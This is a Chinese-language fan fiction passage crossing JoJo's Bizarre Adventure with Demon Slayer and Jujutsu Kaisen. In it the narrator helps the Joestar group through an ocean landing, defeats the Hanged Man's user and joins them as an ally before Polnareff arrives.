等等,直升飞机!不是这怎么可能放心啊,我深吸了一口气,几乎要被他话里隐藏的东西吓破了胆。
*
开罗的公馆内,恩雅拿着手中的塔罗牌,露出骄傲的神情。
她的手中,正是[倒吊人]。
58.入海
显然,我在驾驶室里并不能发挥什么作用。
并不宽敞的驾驶室里,乔瑟夫·乔斯达正在操作着我看不懂的按钮。
隔行如隔山,我只有小型汽车的驾驶证,因此根本无法弄清经过乔瑟夫·乔斯达的操作,我们是否有救。
驾照并没有给我带来什么,它加上我的各类证书和杂七杂八短暂的实习,只能给我带来比司机更加微薄的工资。
我的上司只会在酒局后大喊,“小李,开车”,然后没有任何代驾费用让我把他送到家后再自费乘着地铁回家。
想到这个,在看到驾驶室里现在的场景,更让我想哭了。
“OH NO,这个键和直升飞机的那个完全不一样。”乔瑟夫·乔斯达猛戳某个圆形键,脸皱起,大声疾呼。
“嘘,乔斯达先生,别让乘客听到了。”花京院典明叹了口气,小心地回望着后面。还好驾驶室的虚掩着。
诶,晚了。我感受着门外的气息,不由得扶额。
不行了,不能再听下去了,别说感觉对心脏太不好了。别说乘客了,我都感觉不太行。
这么小众的飞机事故都让我遇见了,可恶,我都没给自己买一份事故险。不过,我是黑户来着,买了有用吗?诶,不对,我好像是顶替别人的......
杂七杂八的念头充斥着我的内心,我推开了虚掩的门,扶起了刚刚感受到的气息的主人。
一位空姐白着脸,手里握着十字架,几乎快要站不住了。显然她已经听到了乔瑟夫·乔斯达的话,本身机长在密闭的驾驶室被残杀就已经让她奔溃了,现在一群人高马大的家伙直接占领了驾驶室,却又不会驾驶飞机。
还有比这更崩溃的事吗?
当然还有。
她的身后,躁动的乘客们简直就像刚捕捞上岸的沙丁鱼,尖叫,扭动,撕扯着一切。
她已经觉得眼前一黑了。
有的人自己解开了安全带,揪着领子大喊,“给我降落伞,我要跳机。”
有的人开始歇斯底里地质问身边的女友“真倒霉,都怪你说一定要出去度假我们才要上这架飞机的。”回以他的胡言乱语的是旁边女士毫不客气的大嘴巴子。
阿布德尔努力安抚,但是混乱的乘客根本不理他,有的甚至想趁乱拽下他胸前的金色串珠。
这里都乱成一锅粥了,不如趁乱喝了。
花京院典明也走了出来,看着乱象,皱起了眉头。他又看向我了,却没说话。那紫色的眼睛让我想起了好心收留我的莱拉,她似乎在需要我帮助又不好意思开口时也会露出这种眼神。
我叹了口气,撑起了几乎要站不住的空姐。十字架被她紧紧攥在手上,使得她手上多出了红痕,她的眼神几乎就要散了。
这样可不行啊。
“米娅,醒醒。”
有什么人在喊着她的名字,有什么人握住了她的手,声音这么温柔,好像天使的羽翼将她笼罩。
是上帝要来接我了吗?
空姐挣扎着将眼神聚焦,眼前的一幕让她哑然。
“OH MY GOD!”米娅忍不住惊叹,泪水不可抑制地从眼眶流出。她的这声惊叹无疑是写实的,因为搀扶着她的人,握着她的手的人,正是她所信仰的那位!
那位见她清醒,那位露出了一个柔和的笑,“不要怕,米娅,我与你同在。”
他将她的手松开,又牵着她看向了乘客。
“米娅,请记住,还有一群可怜的人在等着你,他们会与你一同抵御这场灾祸的,相信吧,米娅,所有人都会平安无事的。”
说这话的时候,他的身后几乎有着一层淡淡的神圣光辉。而话一说完,他就缓缓闭上了眼睛,忽然变成一个脸色惨白的东方面孔。
还没等米娅想明白什么,旁边的一个身穿绿色制服的樱桃红发少年就看着那人惊呼,“天呐,这一定是上帝保佑!”
是的,这一定是上帝的指引!米娅只觉浑身都充满了力量,信仰的泉水刚刚浇灌了她,让她不再感到害怕。
“各位乘客,大家好,这里是X航空的机组成员。目前,飞机遇见气流颠簸,请大家耐心等待。机长因为一些身体原因临时休息,已经有专业的人员接管飞行,请大家不必惊慌。我们正与地面控制保持联系,获取支持和指导,请大家系好安全带,保持坐姿,以确保安全。”
广播传来空姐的播报。她的话冷静又专业,全然叫人听不出一点瑕疵。就算有乘客之前从驾驶室中窥视到了一星半点,
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现在也只会怀疑是自己眼花。毕竟那么多出血量怎么可能?
情绪是容易传染的,米娅的镇定自若叫人不得不信服,要嚷嚷着跳机的人也被正义铁拳制服,吵架的情侣在米娅协调时也安静了下来。
“真是绝妙的主意。”我睁开了紧闭的双眼,看向一旁的花京院典明。
“你也配合得不错嘛,否则以我蹩脚的演技,当米娅找到纰漏时可能会更惊慌吧。”我耸了耸肩,看着秩序好多了的客舱,不由舒了口气。
“哪里哪里。”花京院典明笑了一下,又将视线转向了驾驶室,“现在就靠乔斯达先生了。”
是啊,全机的命运,就在他的手上了。
“嗯,不过谢谢你啊,花京院。多亏你率先找到了那个替身,否则现在我可能还得被[白金之星]欧拉呢。”
想起白金之星的力量,我也忍不住抿了抿嘴。虽然打不晕我吧,但是挨打的滋味也不好受啊。
“咦?”花京院典明看过来,一手抬起遮住了他的下半张脸。不知道是不是我的错觉,他的眼睛好像亮了许多。
不是吧,难道是我自我意识了,我还以为在我被围着的时候,他将[法皇之绿]派出去是为了帮我,来报答我请吃饭。
看着对面的“月彦”似乎陷入苦恼的样子,花京院典明不知道怎么开口,她连这点都注意到了吗?
他在她被质疑时可没有站出来为她说些什么......
本就有些愧疚的心更是酸软,花京院典明实在无法接受她这样坦率的感谢,“如果真的要感谢了话,下飞机就请我喝瓶水吧。”
这熟悉的台词啊。
难道我当时强行要他买水被他记这么久吗?
真的假的?
看着不知道为什么说完就转过头的花京院典明,我忍不住反思起自己当初的所作所为算不算欺负小孩。
“做好准备吧,老头说,他现在能找到的最好着陆地点,就只能是海里了。”空条承太郎推门而出,宣布了这个好坏参半的消息。
好消息:有海水缓冲
坏消息:我没学过游泳
“花京院啊,你说飞机上会有救生圈吗?”
我从花京院的眸子里看见了一张惨白的脸。
59.[加更]捕鱼
我对于游泳的知识仅仅来自于防溺水宣传,也就是说,我是一点都没学过游泳。
我还以为自己永远也用不到游泳这个技能呢。
米娅看着刚刚神迹降临的那位乘客,此时他好像遭遇了什么致命打击似的,本就苍白的脸更是和纸一样惨白。两个人高马大的年轻男人围住了他,显得他更加弱小无助。
看起来他需要帮助。
米娅整理了一下表情,带着标准的微笑向前,不动声色地将脸色苍白的男人与那两个人高马大的人隔开,“您好,先生,请问你需要什么帮助吗?”
一看见他,那个脸色苍白的人就像看见了救星。
“您好,我想问一下,飞机上有什么救生圈之类的吗?”他的声音很急,一双黑色的眼眸里透出求助的神情,就像是一只可怜的狗狗。
这表情与刚刚安慰她的神情截然不同,米娅回想起刚刚神明的指引,镇定下来,看向了堵着驾驶舱舱门的带着帽子的黑发男。
“先生,现在确定降落点是海面吗?”
空条承太郎点了点头,“八九不离十。”
米娅点了点头,拿起了自己的对讲机,“请注意,紧急通知,我们即将进行水上迫降。请各位乘客保持冷静,会有机组人员协助各位穿好救生衣,我们和地面控制保持着紧密联系,降落后马上又会人员来救援.......”
说完了紧急通知,米娅拿出了四套救生衣递给我了。
“请您冷静放心地穿上救生衣,放心吧,一定会没事的”,米娅嫣然一笑,“上帝与我们同在。”
虽然刚刚是我扮演的奇迹,但是看她这样坚定冷静的样子,我的心里也觉得安心许多。
看着米娅离去帮助其他乘客,我将自己的救生衣麻利地穿上,将剩下几套分给了花京院典明和空条承太郎。
那么,接下来就准备降落了。
我拽着救生衣的带子,等待着乔瑟夫·乔斯达一声令下,我就立马投入水面的怀抱。
“差不多还要3分钟!”驾驶室传来乔瑟夫·乔斯达的声音,我点点头,在心中默默倒计时。
不受控制的飞机在乔瑟夫·乔斯达的协调下以着惊人的速度接近海平面,我很快就能从窗户中看到广袤的海面了。
虽然风景不错,但是真不是时候呢!
就在飞机离海面还有50米的位置,飞机的燃油快要耗尽,开始滑行了起来。飞机底部擦着海面,机身倾斜,时不时带来一阵颠簸,机翼触碰到水面,开始逐渐解体。
终于,在离陆地1000米处,飞机的滑行速度减缓,机舱打开,充气梯被放下。
乔瑟夫·乔斯达擦了擦脸上的冷汗,转头向身后看去,“怎样,不赖吧!”
空条承太郎看起来依旧镇定,他微微勾起嘴角,“还算不错吧,老头。”
说着,他将救生衣扔向乔瑟夫·乔斯达,“老头,快点吧,我们该出去了。”
现在,SPW的救援人员与航空公司的救援人员都已经站在岸边了。
乘客们有些慌乱,但是生死关头还是听从着乘务人员的指引,全都安全站在了浮在水面的气垫上。
简直就是奇迹。
虽然还不能放松,但是已经离岸不愿,救援人员也开着救援船只过来,米娅还是忍不住松了一口气,刚刚高度紧张而绷直的肌肉开始酸痛起来了。
再坚持一会会,就能全原无伤地上岸了。米娅的眼睛扫过紧张的乘客们,默默数着。
嗯?
怎么多了两位乘客,难道数错了?倒吸了一口凉气,米娅重新数了数。
现在,变成了多了一位乘客。
究竟是怎么回事?
花京院典明察觉到“月彦”动了动耳朵,然后带着一丝狡黠向他看过来。这样的神情就像是她之前说要请客吃饭一样。
“花京院少年,你说这海里会不会有很多鱼呢?”脸色惨白的男人指着海面,面上是纯然的疑惑。
花京院典明看着“月彦”眨巴着眼,不动声色地点了点头。
空条承太郎像是不经意地开口,此时插进了话,“近海处了话会有沙丁鱼聚集,可能形成庞大的鱼群,鲭鱼喜欢温暖的水,所以也会在近海处游动。金枪鱼通常出现在较深的海域,但是也可能在近海处觅食。”
说着,空条承太郎的嘴角不自觉勾勒出愉悦的笑容。
好了解!这是什么隐藏的海洋爱好者吗?
我一时间被这段科普惊住,都忘记了自己要说什么。
见“月彦”和花京院的视线同时转向了他,空条承太郎压了压帽子,走向了还有些乘客的一侧,又低头看海去了。
乔瑟夫·乔斯达大力拍着承太郎的后背,大谈自己外孙对于海洋矢志不渝的爱。阿布德尔此时也不需要再紧张地维持着秩序,悠闲地看着承太郎对着乔瑟夫喊着“呀卡妈洗”。
此时正是悠闲的时刻。
看着乘客已经转移大半,面色苍白的黑发男人突然开口,直接向花京院典明伸出了手。
“花京院少年,你应该还拿着那片镜子吧。能给我看看吗?”
起伏的海面上就像是最大的镜子,在阳光照耀下熠熠生辉。时不时有气泡般的海沫涌动。
海水映照着花京院典明模糊的面容,他的影像随着海浪的汹涌而摇摆。
“当然可以,不过还请小心,可别掉进海里了。”
他像是毫无戒备,随意将细致包裹的手帕抽出了口袋。
他的正下方,海中的气泡越来越多,一个身影就像是利剑刺出水面。
这样的突袭,绝对没人能发觉!
在水中憋气的替身使者不由在心中呐喊,他的【暗蓝之月】可是水中的王者,这样的突袭肯定能带回【倒吊男】。
只要那个镜子碎片到了海中,随着海浪起伏,就是有无数光反射和折射的方式,这样一来,能在反射面间快速移动的【倒吊男】,配合着他海中之王的替身,还愁拿不下承太郎他们吗?
只是还没等他的【暗蓝之月】带回镜子碎片,他就感觉自己开始呼吸困难。
怎么会,他的肺活量可是常人的三倍,怎么现在就感觉自己喘不过气了!
一个可怕的念头划过了他的脑海—难道是自己替身被抓了,因此替身受到的伤作
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用在了他的身上。
可是,不应该,怎么能有人预料到来自海中的突袭?
而且按DIO大人给的资料显示,这个花京院就是个文艺软脚虾,空条承太郎是脾气暴躁的体虚男高,乔瑟夫·乔斯达就是迟钝有钱老头,那个占卜师更是没有实力。
明明,对于这样的组合他一定能打败的。
晕厥前的最后一刻,这位虚假情报的受害者还在这么想着。
感觉着海水中的气息渐渐远去和消散,我向花京院典明点了点头。
“果然,海底确实有许多鱼啊。”我手里拿着被好好包裹着的镜子碎片,看着被【法皇之绿】卡着脖子的那个替身,啧啧称奇。
这个替身长得就像是某种深海的鱼,因为没什么生物就随便长长的奇怪样子。
空条承太郎向这鱼形替身看了一眼,又嫌弃地移开了眼睛。
“看来不是很喜欢这个呢。”【法皇之绿】松开了已经几乎断气的替身,在我身边狠狠将那个鱼形替身向远处打水漂。
我点头附和,“这么说应该不是什么好鱼吧,不过可以看看乔斯达先生那里有没有钓到什么好鱼。”
就按照乔瑟夫·乔斯达他们之前说的,如果这个木乃伊一样的替身在这里,那他的替身使者肯定就在不远处。
现在,海底下的人已被发现,剩下就只能在乘客中了。如果是平时,乘客中现在混进什么人也很难被察觉。
不过,“简直就像把人当成傻子啊。”我忍不住吐槽。
一群慌乱的人群中,有个人的身影极其显眼。除了他,所有的人可是都穿着橘色的救生衣。
乔瑟夫·乔斯达走到了一个长相丑陋的男人面前,自来熟地搭讪,“嘿,年轻人,借个火吧。”
纵使已经迟暮,但乔瑟夫·乔斯达的身高显然没缩水,他195的身高靠着那男人,显然极具压迫感。
看着空条承太郎也随之看过来,那男人犹豫里一下,从右手掏出了打火机,“给你。”他的速度很快,就像是急忙撇开关系一样。
乔瑟夫·乔斯达却没有如同他预想的那样收下,只是盯着他,“话说回来,年轻人,你哪来的打火机啊。”
糟糕。飞机上是不是不能带打火机。
J·卡尔猛然发现自己露出的破绽,简直快要惊叫起来。
他看着沉着脸走过来的空条承太郎和乔瑟夫·乔斯达,慌乱起来。
他身边没有能顺手抓来的人质。他的【倒吊男】替身可还被困在手帕包裹的镜中不能转移,难道现在只能靠肉搏吗?
看着人高马大的空条承太郎和乔瑟夫·乔斯达,J·卡尔忍不住吞了口唾沫,努力使自己鼓起勇气。
好,就按老妈说的吧。老妈的一手消息可是说承太郎绝对是身体虚弱的花架子,他J·卡尔大人绝对能一鼓作气干掉他。
看着那人捏着拳头直奔空条承太郎然后被一拳打飞晕倒,花京院典明发出不解。
“他是怎么想的?”
还不知道自己假情报威力恐怖如斯,我摇了摇头,表示无法理解。
也许是世界之大,无奇不有呢。
60.“我”的替身
将倒吊人的替身使者彻底打晕后,空条承太郎将其捆绑住并装进了一个黑色的麻袋中。那片还存放着[倒吊人]替身的镜子碎片也被装入一个丝毫不见光的盒子中。
我看着SPW财团熟练的掏出麻袋、绳索这些东西后,忍不住大为惊叹,“你们集团的业务范围这么广吗?”这真的是什么正经的财团吗?
像是不明白我为什么这么发问,穿着SPW制服的人歪了歪头,“这也是很正常的吧,毕竟要处理一些超自然的事呢?而且只要告知我们要什么东西,不管怎么东西spw财团都能在一周内准备好?”
“就算是一家飞机?”
“当然。”那位被我搭讪的小哥骄傲地拍拍胸脯,显然对于自己所在的组织非常自豪。
真的假的,对上班的地方认可度这么高吗?而且什么都能准备好,说明经费超级充足啊。
DIO那里我是肯定要离开的,那么。
我眼睛一亮,自觉自己捕捉到了很重要的信息,“小哥,话说,你们这里待遇怎么样,给缴五险一金吗?出差差旅费给报销吗?”
那位小哥楞了一下,看着眼前这个脸色苍白的男人兴奋的样子,有些担心他会不会因为过于激动而喘不上气。他转头看向了一旁的乔瑟夫·乔斯达,拿不定主意。
乔瑟夫·乔斯达向那位点了点头,又朝我走过来,“月彦小姐,很高兴你对SPW财团感兴趣,我很乐意向你介绍相关的信息。”
他的绿眼睛里释放着纯粹的善意,“如果你有空,请允许我邀请你共进午餐,希望能让你忘记飞机上的不渝,顺便我再向你好好介绍一下SPW财团。”
真是会说话啊。嘴上说是介绍SPW集团,但是其实也有想要问询DIO的信息的意思。毕竟是在公开场合说话,保不齐被他人听到。
真是谨慎的人啊。我目光扫过乔瑟夫·乔斯达带着细纹但是目光依旧锐利的眼,又想起了自己汇报给DIO的评价--老花、头脑迟钝、行动迟缓。
嘶,这样捏造得会不会太过呢?
我的目光又游移到空条承太郎和花京院典明还有阿布德尔的身上,脑中冒出了自己报告的相应内容,不由又沉默了一下。
......
好像是这种沉默持续了有些久,乔瑟夫有些凝重地皱起了眉头,但是却依旧没有出言,只是等着我的决定。其他三人站在一旁,表情有微妙的不同,但是却也没有如果我不答应就要扣下我的意思。
看来也算勉强洗清了一些邪恶的伙伴的嫌疑了啊,虽然不一定能相互信任,但是保持这种友善的态度也算还行。
再说,这种请客的方式也不讨厌就是了,而且,就之前我的躯体被DIO能强制占用的情况下,我和乔瑟夫·乔斯达他们或许能有相同的目标。
我收回视线,也回了一个乔瑟夫·乔斯达一个礼貌的笑。
“既然这么说,那我也就不客气了。不过乔斯达先生,麻烦多点一些菜啊,我现在可是很饿啊。”
我摸着自己造反的肚子,发出了遗憾的喟叹。
我可还没吃飞机餐呢。
*
“花京院,你觉得这样还不够吗?”乔瑟夫·乔斯达将菜单递给了旁边的花京院典明,见其摇头,忍不住惊叹。
“咳咳,如果可以的,我认为还是再加一些比较好。”花京院典明回想起当初“月彦”所谓的请客时那摆满了餐食的桌面,更加坚定地点了点头。
空条承太郎闻言,看了一眼目光坚定的花京院典明,又看着写满密密麻麻菜品的菜单,没有说话。
乔瑟夫·乔斯达看向老实安静坐在座位上的黑发男人。她用着这张看起来就秀气的脸老实巴交地等餐,虽然不说话,但是目光大概时隔1分钟都会忍不住在空空的餐盘里转一圈,然后又神游天外。
这样的人究竟是怎么摆脱DIO的肉芽驱使的呢?她现在的状态到底算是什么呢?
乔瑟夫·乔斯达叹了口气,叫来店家,“就把所有的菜都分别上一份吧。”
他看着眼睛一下子亮起来整个人开始正襟危坐的“月彦”,忍不住陷入思考--真的被饿着了吗?
我是真的饿了,不开玩笑。当花京院典明要求在加一些菜的时候,我都忍不住在内心叫好。
毕竟已经点的菜虽然已经是八人份了,但是,就对我来说,好像完全不够。
难道是因为被DIO上身的缘故,总感觉身体消耗特别大,好像使用了某种不属于身体本身的技能一样。这样,不多吃点可不行啊。
我嚼嚼嘴里的牛肉,突然觉得这里空调温度低了些,包间里有些过于安静。
一抬头,我环视四周。
房间里没有空调。
乔瑟夫·乔斯达、空条承太郎、花京院典明和阿布德尔一只手拿着餐具,却都没有开始吃东西,只是一直眼不眨地盯着我。
嗯?等等,不至于吧,我只是从每一盘中都挑了一部分去吃,应该既没有
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一下子把好几盘菜吃完,让他们都没得吃;也没有很不客气拿走食物最美好的部分只让他们吃边角料吧。
“月彦”皱起了眉头,环视着包间里的剩下三人,“都不吃点吗?”她手上还拿着餐刀,话里是纯然的不解。
三人想要开口,但是像是被某种东西噎住了一样,说不出什么,只是眼神还是聚焦在某一个地方。
某一个地方?
“月彦”像是忽然意识到了一点,这三个人并不是盯着自己,而是盯着自己的身后,她转头向后望去,脑袋停留了几秒,又转了回来。
“有什么特别的吗?”
当然有。
那个诡异的“替身”随着“月彦”的进食如雾一般开始浮现在她的身后。在这个看起来安全又平静的场景里,它的出现突兀又让人毛骨悚然。
这时候放出替身是要做什么?难道她还在听从DIO的指令,又要准备攻击。
可是看着“月彦”淡然的表情和一副继续想要再吃点什么的跃跃欲试的手,三人却又游移不定。
最终是花京院典明先开口了。
“月彦小姐,我想请问你现在为什么要放出你的替身呢?”他的脸上有我难以理解的谨慎小心,紫色的那双眼直直地盯着我的眼睛,似乎不想放过任何一丝波动。
诶?
不是,开什么玩笑,我只是一个伪装的替身使者好不好,我战斗可是纯靠肉搏的。
这个本来打算在飞机上和他们摊牌来换取信任,只是被突然的攻击打断了。
我本想调侃现在拿这个诈我吗,但是再看看他们三人的眼神,我就无法将这话说出口。
我再次将头扭过去,确认自己背后空无一物。我微微转头,眯起眼睛,将眼神和他们三人对视,试图从他们眼球中看到别的存在,但是依旧没有。
我努力使自己的声音变得平静,“你们究竟看见了什么?”
乔瑟夫·乔斯达朝我看了过来,声音沉稳,“替身,是你的替身。”
脸上的肌肉似乎变得僵硬了,我感到周身的温度下降,我将脑海中的记忆倒腾了一片,却始终想不到自己什么时候拥有了替身。
“其实我并不是替身使者,至少我不认为是。”
在他们小声的吸气声中,我接着补充,“而且,我似乎能看到你们的替身,但是,我从来没见到过你们所谓的''我的替身''。”
一时间没有人说话,所有人的脸上都是凝重的表情。
61.伙伴
从她的表情可以看出,她没有说谎。
只是,无法看见自己的替身的替身使者?又或者是能看见替身的普通人?这完全超过了现有的认知。
她身后的替身又如烟一般消散,仿佛他们见到的只是错觉。
乔瑟夫·乔斯达想起了饱受替身之苦的自己的女儿,她因为着乔斯达家的血脉,随着DIO的觉醒了替身自己也觉醒了替身能力。但是,由于没有任何的战斗意识,替身的觉醒没给她带来什么能力,反而使她的健康状况恶化。
她虽然能模糊得看到一些替身的影像,却也不能算作替身使者。
难道,这位“月彦”也流着乔斯达家族的血?
“能请你变回你原来的相貌吗?”乔瑟夫·乔斯达突然对着这么说。
我没问,只是恢复成了自己的样子。
乔瑟夫·乔斯达走到了我面前,半蹲下身,仔仔细细地打量着我,嘴里嘟囔着,“不像我们乔斯达家族的血脉啊,我老爸只有我一个孩子才对,我也只有贺莉一个孩子,我们乔斯达家族也不会......”
虽然乔瑟夫·乔斯达没有恶意,但是这种像是体检视的目光扫描让人感觉也不是很妙。
花京院典明走上前,隔开了乔瑟夫·乔斯达,“乔斯达先生,这么近距离的观察都能够得上性骚扰了,您还是退后点吧。”
“呀咧呀咧,”空条承太郎也上前,对着乔瑟夫·乔斯达耸肩,“老头子,这把年纪了可还是要注意点分寸啊。”
乔瑟夫·乔斯达也意识到了自己的距离过近,他对我歉意笑笑,又忍不住拍了一下空条承太郎的肩膀,“你们可不要乱说话,我对丝吉Q可是一心一意的。”
他说完,又看向我,“按照这位月彦小姐的说法,我只是再进行合理的推测--我本来怀疑她也是乔斯达家族的血脉,但是我们家族是不会有私生子的,而且,我对她也没有感受到那种奇妙的血脉链接感。”乔瑟夫·乔斯达摸了摸下巴,有些一筹莫展。
在科学的时代说着什么血脉感应呢?我本来想吐槽这点,但是想了想自己对于人的气息的感应和最近见到的替身使者,也默默闭麦了。
那么,“阿布德尔先生你知道类似的案例吗?”我把目光转向了我的前可能老板,那位开罗占卜师。
遇事不决,科学解决不了的事,就交给占卜吧。
然而,令我失望的是,阿布德尔也只是摇了摇头,“这样的事情我从没有听过。看不见替身却能拥有替身能力......”
既然已经说到这了,我感受着周围没有人靠近,也没有什么有可疑的能用来监听的机器,拿着酱汁用餐刀在干净的盘子上写下了“变身并不是我的替身能力”。
确定了众人都看见了盘中酱汁留下的印记,我顺手用餐刀插器一块肉。肉浸着餐盘上的酱汁滑动,直至再也看不出原来的字迹了,我才将肉放入嘴中。
别说,浸满酱汁的肉味道真的特别棒。
乔瑟夫·乔斯达张嘴想问什么,却见黑发女人摇了摇头,指了指自己锁骨处的那半截DIO的肉芽。
看来不管是变身能力还是为什么她能不被DIO的肉芽控制,这都是属于她的秘密。众人很有默契地没有再问下去。
“听你这么一说,我确实能了解以前的异常了。在我被肉芽控制的时候,''月彦''小姐从来没有直接攻击过[法皇之绿],我之前只是以为你是对自己的实力异常自信,现在却明白了。”
花京院典明说完,看着我,话语变得有一些迟疑。
“但是,月彦小姐,你是不是一开始并不能看见替身呢?”花京院典明回想起那时她对[法皇之绿]的赞叹,又忍不住短暂地走了神。
现在想来,那应该是她第一次见到[法皇之绿]吧。
咦?这么说,好像确实是如此。我突然意识到了什么。
如果说是看见替身的时机了话。
“我确实一开始看不见替身,如果说是什么时候能看见替身,应该是在进入DIO的公馆后。”
提到了Dio的所在地,四人的表情都变得严肃了起来。
阿布德尔的眼睛倏忽瞪大,“等等,有什么更加细致的契机呢?在里面究竟发生了什么?”
“就是我在外面蹲守,被打,被带进去,头上种了那玩意,然后离开前好像被一个乱放的箭扎了一下。”
我觉得这每件经过的事都有嫌疑,但是阿布德尔显然对其中的一个事反应非常强烈。
“你说箭?你确定是箭吗?”阿布德尔的语气变得有些激动,我们忍不住将目光移到他身上。
他深吸了一口气,让自己冷静了些,“如果我没猜错了话,那就是迪奥身边的一个替身使者曾经收集的东西,这个箭,有人说是外星陨石做成的,也有人说这是法老的陪葬品。但据说,这个箭有能让人变成替身使者的功能。”
现在所有人的目光有移到了我的身上。
现在轮到我开始头脑风暴了,但是不管我怎么想,身体似乎也没有什么新的变化。
“总不至于又让自己都察觉不到的替身能力吧。”我默默吐槽,又想起了他们所说的我看不见的“替身”。
“你们说的那个''替身''是长什么样呢?”
“替身是精神能量凝聚成的影像,而你身后的替身了话--”乔瑟夫·乔斯达顿了顿,“好像没有具体的形体,看起来十分的毛骨悚然。”
这种评价吗?
我的表情变得严肃起来,“这不会是咒灵吧?”
我的话一说完,空气仿佛凝滞了。我疑心自己说到了关键。
环顾左右,四个人的表情变得微妙起来,尤其是乔瑟夫·乔斯达和阿布德尔,他们的视线齐齐转向空条承太郎。空条承太郎仿佛预见了这点,提早压低了帽子不和他们的视线对上。
这么严重的事吗?缠上我的不会是什么可怕咒灵吧!
正当我严肃地担忧着自己的未来时,一阵笑声打破了它。
“你说咒灵,那是幽灵什么的吗?怎么跟承太郎一样搞笑,会把替身当成幽灵呢,哈哈哈哈。”乔瑟夫·乔斯达笑得快要肚子疼,他甚至开始拍起了桌子。<
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p>“原来你相信这个吗?”阿布德尔转过头,但从他身体颤动的幅度我能看出他也笑得不轻。
可恶,这些家伙是根本不相信咒灵什么的!虽然以前我也不相信,但是两面宿傩后我就知道这世界上还有这种东西的存在。
咦?难道之前不见的两面宿傩的手指不是吞服的?而是变成了咒灵附身,这么糟糕的吗?
我目前也只能想到这个了,不由面色愁苦了几分。
“阿布德尔,遇到一些驱邪的大师一定要记得通知我啊。”
回应我的是他笑得更加大声的声音。
“不过,看不见替身的事情会常发生吗?而且,月彦小姐,你是没法控制它的吧。”花京院典明一针见血的话制止了笑声。
“这么说也是……”乔瑟夫·乔斯达和阿布德尔终于停止了笑,两人冷静下来后也能找到事情的疑点。
只是,如果真的是咒灵,那还需要去收集相关的信息才能有帮助。而且,目前那个“替身”或者“咒灵”的存在也并没有主动攻击人,因此也不是目前最紧急的事情。
乔瑟夫·乔斯达向我示意会向SPW请求调查“咒灵”相关的事宜后又看向我。
他这回收敛了笑容,面上是难得的严肃和认真,“月彦小姐,拜托了,请帮助我们一同打倒DIO。我能感觉得到,你和DIO并不是一类人,你也希望摆脱他的控制。”
“拜托了。”空条承太郎、花京院典明、阿布德尔也看向了我,眼里满是郑重。
我现在也希望能拥有一顶帽子来挡住视线了。
这样郑重的视线还带着恳求和期许,还有一种决心,它会带着一种重量压在人的身上。对于许多人来说,这可是一种不小的负担。
承受着期许,给出承诺,都得还带着一种必须要完成的决心。
我告诫自己,我可不是什么少年jumb的主角,我只是可怜打工仔,苟着离开的方式总是有的,大不了让鬼舞辻无惨的细胞慢慢吞噬DIO的肉芽,可不能头脑冲动。
可是我的嘴不受控制,我的心仿佛也被什么东西感染,变得滚烫了起来,头脑发热了起来。
那些公馆里倒在地上的尸体,警局里叠成小山一样的失踪信息,被强占躯体的愤怒和恐惧,为我心中激荡出的情感添砖加瓦。
“我们应该有相同的目标,这点不用担心。”我努力使自己的话变得理智客观,“不过你们确定要信任一个身体可能随时被DIO占领的人吗?”
“这点确实棘手,不过,我们会想办法解决的,我们一定会让你恢复自由的。”
“我的直觉告诉我你可不是坏人。”
“同伴难道不就应该相互信任吗?”
不是,现在我就已经荣升成为同伴了吗?这群人也太没警惕心了吧,不知道这样很容易被被刺吗?
我深深地,再次叹了一口气。
那么,作为所谓“同伴”的入伙礼。
“嘘,有人来了。”我噤声,又幻化作鬼舞辻无惨的模样。
约莫半分钟后,包间传来了敲门声。
62.波鲁那雷夫
“咚...咚...咚...”敲门声有节奏地响起,接着外面传来了一个男人的声音。
“客人,要接着上菜了哦。”
不过,比起这位突然出现的“侍者”,众人中不可抑制地将目光停留在那个还在吃着东西的人身上。
虽然在飞机上就已经见识过她的超绝感知力,但是众人现在依然忍不住从心底感到震撼。
她对于事物的探查能力究竟有多广呢? 她探测的灵敏度究竟有多高呢?
即使是探查距离数百米的[法皇之绿]都没有发出预警,就连精密度堪称机器的[白金之星]也未能察觉。
而且,如果真按她所说,她甚至还没拥有替身,仅仅凭借rou体的直觉就已经达到了远超人类想象的敏锐!
四人在这时候都不免庆幸这样的人不是敌人。
乔瑟夫·乔斯达回过神,用着气音小声交流,“我们的菜都已经上完了,那么外面的人.......”
我点了点头,“绝不是普通人。那么,很大概率就是DIO的追兵。”
没有得到回应,门外的人显得急躁了些,“咚咚咚。”
“客人,再不开门菜也要凉了。”
包间内我们互相对视了一眼,阿布德尔站了起来,率先向门口走去。
我也咽下了嘴里的最后一口食物,看着门向内打开。
外面的是一个高大的外国男人,虽然在国外说外国这个很怪,但是我们现在迫降的地方是南亚,而这个男人是典型白男长相,银发被高高梳成一个桩子一样顶在脑袋上,就像被刀齐切的金针菇。
他带着两个半心型耳坠,面上带着笑。
他的手边既没有什么餐车,也没有什么菜品。
“你说的菜呢?”阿布德尔不动声色地挡住了面前这个银发男人向内看的视线。
“Bonjour(你好)”,这位银发男人看着阿布德尔,脸上露出爽朗的笑容,但是话里却是毫不客气。
“我是简·皮耶尔·波鲁纳雷夫,带着那位大人的命令来打到你们的,我们也不要破坏这个餐厅吧,来吧,出门决出胜负吧,阿布德尔!”
该说是爽朗好呢,还是没脑子好呢?这么一上来就自爆家门和目的呢?原来DIO手下还会派出这么直来直去的替身使者吗?按照画风不应该使用点阴险手段么?
波鲁那雷夫从阿布德尔未挡住的缝隙,看见了有一个面色惨白的男人,表情古怪的坐在椅子上。
奇怪,这个人不在给的资料内啊?他怎么会在里面,难道是拼桌的,还是被请客的,看这瘦弱的样子好像八百年没吃过饭了。怎么了,难道是要去上厕所吗?
那个脸色惨白的男人没有说话,只是好像身上痒似的再抓自己的脖子。这种家伙不管怎么说都是小角色吧。
不必在意。
他心中的某种“指令”的优先级正催促着他快点解决乔斯达家族的人,只是他为人坦荡,不喜欢做偷袭的事情。
所以,波鲁那雷夫将自己的替身[银色战车]释放出来,他的手中出现了一把美丽又锐利的西洋剑,“阿布德尔,我们去宽阔的地方,放出你的替身[火鸡]来一绝胜负吧!”
“咳咳咳咳。”阿布德尔的身后,剩下的三人发出了震天动地的咳嗽声,那个面色苍白的男人低着头,只是脸看起来更加惨白了。
“喂喂,哪个人不要紧吗?怎么像是一副快要死的样子,你们不用把他送去医院吗?”波鲁那鲁夫指着那个面白如纸男,热心发问。
但他热心肠却贴上了冷屁股。
那个面白如纸男只是连连摆手。
挡在他身前的阿布德尔也只是回过头看了一眼便不再关心。他好像一时间不知因为受到什么刺激,眼中燃着愤怒的火光,“[火鸡].....哈哈,很好,波鲁那雷夫,我接受你的挑战,我一定会让你付出妄言的代价。”
